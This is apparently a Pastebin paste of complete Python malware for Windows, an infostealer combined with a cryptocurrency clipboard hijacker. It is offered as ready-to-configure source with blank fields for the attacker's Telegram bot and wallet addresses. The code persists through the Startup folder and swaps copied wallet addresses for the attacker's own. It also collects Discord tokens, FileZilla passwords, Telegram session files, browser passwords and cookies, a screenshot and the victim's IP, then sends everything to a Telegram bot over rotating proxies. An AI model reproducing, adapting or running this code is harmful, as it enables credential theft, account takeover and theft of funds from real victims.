Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import win32clipboard
- import time
- import threading
- import requests
- import sqlite3
- import os
- import xml.etree.ElementTree as etree
- import base64
- import zipfile
- import shutil
- import sys
- import win32crypt
- from PIL import ImageGrab
- #========|FOR EDITING|========#
- chat_id = ''
- bot_token = ''
- btc = ''
- eth = ''
- ripple = ''
- btc_cash = ''
- litecoin = ''
- monero = ''
- #=============================#
- text = ''
- is_first = True
- if os.path.isfile(os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup' + '\ '[0] + os.path.basename(sys.argv[0])) is False:
- shutil.copy2(sys.argv[0], os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup')
- else:
- is_first = False
- def clipper():
- while True:
- win32clipboard.OpenClipboard()
- if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0:
- clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
- if 25 <= len(clip_data) <= 34 and clip_data != btc and clip_data[0] == '1':
- win32clipboard.EmptyClipboard()
- win32clipboard.SetClipboardText(btc, win32clipboard.CF_UNICODETEXT)
- elif len(clip_data) == 42 and clip_data != eth and clip_data[0:2] == '0x':
- win32clipboard.EmptyClipboard()
- win32clipboard.SetClipboardText(eth, win32clipboard.CF_UNICODETEXT)
- elif 25 <= len(clip_data) <= 35 and clip_data != ripple and clip_data[0] == 'r':
- win32clipboard.EmptyClipboard()
- win32clipboard.SetClipboardText(ripple, win32clipboard.CF_UNICODETEXT)
- elif len(clip_data[len(clip_data)-42:len(clip_data)]) == 42 and clip_data != btc_cash and clip_data[len(clip_data)-42:len(clip_data)-41] == 'q':
- win32clipboard.EmptyClipboard()
- win32clipboard.SetClipboardText(clip_data[0:len(clip_data)-42] + btc_cash, win32clipboard.CF_UNICODETEXT)
- elif len(clip_data) == 34 and clip_data != litecoin and (clip_data[0] == 'L' or clip_data[0] == '3'):
- win32clipboard.EmptyClipboard()
- win32clipboard.SetClipboardText(litecoin, win32clipboard.CF_UNICODETEXT)
- elif 95 <= len(clip_data) <= 106 and clip_data != monero and clip_data[0] == '4':
- win32clipboard.EmptyClipboard()
- win32clipboard.SetClipboardText(monero, win32clipboard.CF_UNICODETEXT)
- win32clipboard.CloseClipboard()
- time.sleep(0.25)
- def discord_token():
- if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True:
- token = ''
- conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage")
- cursor = conn.cursor()
- for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"):
- token = row[1].decode("utf-16")
- conn.close()
- if token != '':
- return token
- else:
- return 'Discord exists, but not logged in'
- else:
- return 'Not found'
- def filezilla():
- data = ''
- if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True:
- root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot()
- for i in range(len(root[0])):
- host = root[0][i][0].text
- port = root[0][i][1].text
- user = root[0][i][4].text
- password = base64.b64decode(root[0][i][5].text).decode('utf-8')
- data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n'
- return data
- else:
- return 'Not found'
- def telegram():
- if os.path.isdir(os.getenv("APPDATA") + '\\Telegram Desktop\\tdata') is True:
- zip = zipfile.ZipFile(os.getenv("APPDATA") + '\\Telegram Desktop\\t.zip', 'w')
- for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Telegram Desktop\\tdata'):
- for file in files:
- if file != 'working':
- zip.write(os.path.join(root, file))
- zip.close()
- return True
- else:
- return False
- def proxy():
- r = requests.get('https://getmeproxy.com/api/v1.0/api.php?key=demo&list=text&checked=1')
- proxies = r.text.split('<br>')
- for proxy in proxies:
- proxies = {
- 'http': 'http://' + proxy,
- 'https': 'http://' + proxy,
- }
- try:
- r = requests.get('https://api.telegram.org', proxies = proxies, timeout=3)
- except:
- pass
- else:
- if r.status_code == 200:
- return proxy
- def Chrome():
- text = 'ChromeData:' + '\n'
- text += 'URL <-> LOGIN <-> PASSWORD' + '\n'
- if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
- shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
- conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
- cursor = conn.cursor()
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- for result in cursor.fetchall():
- password = win32crypt.CryptUnprotectData(result[2])[1].decode()
- login = result[1]
- url = result[0]
- if password != '':
- text += url + ' <-> ' + login + ' <-> ' + password + '\n'
- text += '\n' + 'Cookies Chrome:' + '\n'
- text += 'URL <-> COOKIE <-> COOKIE NAME' + '\n'
- if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
- shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
- conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
- cursor = conn.cursor()
- cursor.execute("SELECT * from cookies")
- for result in cursor.fetchall():
- cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
- name = result[2]
- url = result[1]
- text += url + ' <-> ' + str(cookie) + ' <-> ' + name + '\n'
- return text
- def Amigo():
- text = 'ChromeData2:' + '\n'
- text += 'URL <-> LOGIN <-> PASSWORD' + '\n'
- if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'):
- shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2')
- conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2')
- cursor = conn.cursor()
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- for result in cursor.fetchall():
- password = win32crypt.CryptUnprotectData(result[2])[1].decode()
- login = result[1]
- url = result[0]
- if password != '':
- text += url + ' <-> ' + login + ' <-> ' + password + '\n'
- text += '\n' + 'Cookies Chrome:' + '\n'
- text += 'URL | COOKIE | COOKIE NAME' + '\n'
- if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'):
- shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2')
- conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2')
- cursor = conn.cursor()
- cursor.execute("SELECT * from cookies")
- for result in cursor.fetchall():
- cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
- name = result[2]
- url = result[1]
- text += url + ' | ' + str(cookie) + ' | ' + name + '\n'
- return text
- def Opera():
- text = 'OperaPasswords:' + '\n'
- text += 'URL <-> LOGIN <-> PASSWORD' + '\n'
- if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
- shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
- conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
- cursor = conn.cursor()
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- for result in cursor.fetchall():
- password = win32crypt.CryptUnprotectData(result[2])[1].decode()
- login = result[1]
- url = result[0]
- if password != '':
- text += url + ' <-> ' + login + ' <-> ' + password + '\n'
- text += '\n' + 'Cookies Opera:' + '\n'
- text += 'URL | COOKIE | COOKIE NAME' + '\n'
- if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Cookies'):
- shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Cookies', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Cookies2')
- conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Cookies2')
- cursor = conn.cursor()
- cursor.execute("SELECT * from cookies")
- for result in cursor.fetchall():
- cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
- name = result[2]
- url = result[1]
- text += url + ' <-> ' + str(cookie) + ' <-> ' + name + '\n'
- return text
- def Yandex():
- text = 'Cookies Yandex:' + '\n'
- text += 'URL | COOKIE | COOKIE NAME' + '\n'
- if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'):
- shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
- conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
- cursor = conn.cursor()
- cursor.execute("SELECT * from cookies")
- for result in cursor.fetchall():
- cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
- name = result[2]
- url = result[1]
- text += url + ' | ' + str(cookie) + ' | ' + name + '\n'
- return text
- def Firefox():
- text = ''
- text += '\n' + 'Cookies Firefox:' + '\n'
- text += 'URL | COOKIE | COOKIE NAME' + '\n'
- for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
- for name in dirs:
- conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite')
- cursor = conn.cursor()
- cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
- data = cursor.fetchall()
- for i in range(len(data)):
- url, cookie, name = data[i]
- text += url + ' | ' + str(cookie) + ' | ' + name + '\n'
- break
- return text
- def chromium():
- text = 'Passwords Chromium:' + '\n'
- text += 'URL <-> LOGIN <-> PASSWORD' + '\n'
- if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'):
- shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
- conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
- cursor = conn.cursor()
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- for result in cursor.fetchall():
- password = win32crypt.CryptUnprotectData(result[2])[1].decode()
- login = result[1]
- url = result[0]
- if password != '':
- text += url + ' <-> ' + login + ' <-> ' + password + '\n'
- text += '\n' + 'Cookies Chromium:' + '\n'
- text += 'URL <-> COOKIE <-> COOKIE NAME' + '\n'
- if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'):
- shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
- conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
- cursor = conn.cursor()
- cursor.execute("SELECT * from cookies")
- for result in cursor.fetchall():
- cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
- name = result[2]
- url = result[1]
- text += url + ' <-> ' + str(cookie) + ' <-> ' + name + '\n'
- return text
- clipper = threading.Thread(target=clipper)
- clipper.start()
- text += 'First Start: ' + str(is_first) + '\n'
- r = requests.get('http://ip.42.pl/raw')
- text += 'Victim IP: ' + r.text + '\n'
- text += 'Discord Token:' + '\n' + discord_token() + '\n' + '\n'
- text += 'FTP: ' + '\n' + filezilla() + '\n'
- proxy = proxy()
- proxies = {
- 'http': 'http://' + proxy,
- 'https': 'http://' + proxy,
- }
- snapshot = ImageGrab.grab()
- snapshot.save(os.getenv("APPDATA") + '\\srcn.jpg')
- success_send = False
- while success_send is False:
- try:
- files = {'photo': open(os.getenv("APPDATA") + '\\srcn.jpg', 'rb')}
- requests.post("https://api.telegram.org/bot" + bot_token + "/sendPhoto?chat_id=" + chat_id, files=files, proxies = proxies)
- except requests.exceptions:
- proxy = proxy()
- proxies = {
- 'http': 'http://' + proxy,
- 'https': 'http://' + proxy,
- }
- else:
- success_send = True
- success_send = False
- while success_send is False:
- try:
- requests.get('https://api.telegram.org/bot' + bot_token + '/sendMessage?chat_id=' + chat_id + '&text=' + text, proxies = proxies)
- except requests.exceptions:
- proxy = proxy()
- proxies = {
- 'http': 'http://' + proxy,
- 'https': 'http://' + proxy,
- }
- else:
- success_send = True
- file = open(os.getenv("APPDATA") + '\\cops.txt', "w+")
- file.write(str(Chrome()) + '\n')
- file.write(str(Opera()) + '\n')
- file.write(str(Yandex()) + '\n')
- file.write(str(Amigo()) + '\n')
- file.write(str(chromium()) + '\n')
- file.write(str(Firefox()))
- file.close()
- success_send = False
- while success_send is False:
- try:
- files = {'document': open(os.getenv("APPDATA") + '\\cops.txt', 'rb')}
- requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id, files=files, proxies = proxies)
- except requests.exceptions:
- proxy = proxy()
- proxies = {
- 'http': 'http://' + proxy,
- 'https': 'http://' + proxy,
- }
- else:
- success_send = True
- if telegram() is True:
- success_send = False
- while success_send is False:
- try:
- files = {'document': open(os.getenv("APPDATA") + '\\Telegram Desktop\\t.zip', 'rb')}
- requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id, files=files,
- proxies=proxies)
- except requests.exceptions:
- proxy = proxy()
- proxies = {
- 'http': 'http://' + proxy,
- 'https': 'http://' + proxy,
- }
- else:
- success_send = True
- else:
- success_send = False
- while success_send is False:
- try:
- requests.get(
- 'https://api.telegram.org/bot' + bot_token + '/sendMessage?chat_id=' + chat_id + '&text=Telegram not found',
- proxies=proxies)
- except requests.exceptions:
- proxy = proxy()
- proxies = {
- 'http': 'http://' + proxy,
- 'https': 'http://' + proxy,
- }
- else:
- success_send = True
Add Comment
Please, Sign In to add comment